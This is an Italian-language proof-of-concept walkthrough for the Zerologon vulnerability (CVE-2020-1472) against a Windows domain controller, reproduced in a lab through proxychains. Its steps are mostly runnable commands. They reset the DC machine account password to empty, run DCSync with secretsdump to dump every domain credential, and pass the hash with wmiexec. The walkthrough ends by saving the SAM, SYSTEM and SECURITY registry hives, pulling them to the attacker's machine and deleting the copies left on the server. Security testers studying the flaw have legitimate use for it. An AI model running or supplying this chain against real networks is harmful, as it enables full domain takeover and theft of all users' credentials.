CVE-2020-1472 POC

Riproduzione di questa vulnerabilità in un ambiente di dominio Windows tramite il proxy proxychains su macOS.

Ambiente

DC (controller di dominio principale):

Domain User (host membro del dominio):

Impostazione del proxy SOCKS5 diretto tramite gost.

Attack Hacker (macchina attaccante):

Configurazione di proxychains4

vim  /Users/xq17/.proxychains/proxychains.conf

Aggiungi la lista ProxyList

[ProxyList] socks5 10.211.55.42 8099

Attack Tools (strumenti di attacco):

1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt

Se durante l'esecuzione compare questo errore:

significa che c'è un problema con il modulo impacket; prova a disinstallare il modulo impacket e installa l'ultima versione da GitHub.

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .

In questo modo il problema si risolve.

Strumento in versione C#: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon

Passaggi dello sfruttamento

1. In locale, prova prima a usare la password del domain controller per esportare l'hash dell'account macchina del dominio, così da poterlo confrontare con quello modificato successivamente.

   root@kitploit:~

   proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
   
   oppure rimuovi le virgolette, ma tieni presente che in Linux il simbolo $ indica una variabile, quindi ricordati di eseguirne l'escape.
   
   proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$
   

   

2. Usa zerologon_tester.py per verificare se la vulnerabilità è presente.

   python3 zerologon_tester.py DC 10.211.55.38

   

   Se viene restituito "Success", la vulnerabilità è presente.

3. Usa cve-2020-1472-exploit.py per reimpostare l'account macchina

python3 cve-2020-1472-exploit.py dc$ 10.211.55.38

4. Controlla di nuovo se la password della macchina è stata impostata su vuota.

5. L'account macchina del domain controller può utilizzare DCSync per esportare tutte le credenziali degli utenti del dominio.

   Principio:

   

   Sfrutta il protocollo DRS (Directory Replication Service, servizio di replica della directory) per copiare le credenziali degli utenti dal domain controller tramite IDL_DRSGetNCChanges.

   proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass

   

6. Ripristina la password dell'account macchina DC$ Tramite

   proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass -just-dc | grep 'Administrator'

   ottieni l'hash dell'amministratore di dominio.

   

   

   Quindi, tramite wmic e pass-the-hash, ottieni i privilegi di amministratore locale (amministratore di dominio) sul domain controller.

   root@kitploit:~

   wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected]
   

   Poi esegui rispettivamente i seguenti comandi per copiare il database SAM locale sul Mac:

   root@kitploit:~

   - reg save HKLM\SYSTEM system.save
   - reg save HKLM\SAM sam.save
   - reg save HKLM\SECURITY security.save
   - get system.save
   - get sam.save
   - get security.save
   - del /f system.save
   - del /f sam.save
   - del /f security.save
   

Domande

In ambiente a dominio singolo:

Può funzionare perfettamente; dopo il riavvio del domain controller non ci sono anomalie, ma il DNS sulle macchine membro del dominio può dare problemi, senza compromettere l'autenticazione.

Dopo il ripristino della password:

In ambiente a due domini, con un DC principale e un DC01 di backup:

Ottenendo inizialmente gli hash delle macchine dei due domain controller, si scopre che non sono uguali.

Provando ad attaccare il domain controller secondario, non si è riscontrato alcun impatto sul domain controller principale; si nota anche che i dati di ntdis.dist vengono sincronizzati.

Provando ad attaccare il domain controller principale, net time /domain va in errore anche nell'ambiente a dominio singolo, ma dopo il ripristino della password tutto si ripristina immediatamente.

La creazione di nuovi account può essere sincronizzata direttamente.

Anche la modifica delle password non influisce sulla sincronizzazione.

Personalmente, al momento non ho riscontrato problemi di uscita dal dominio; consiglio di ripetere questa procedura una volta e, in caso di problemi, sei il benvenuto a discuterne con me!

Riferimenti

Analisi del principio e verifica della vulnerabilità di elevazione dei privilegi Netlogon (CVE-2020-1472)

PDF in cinese

NAXG\CVE-2020-1472

Configurazione di un ambiente a due domini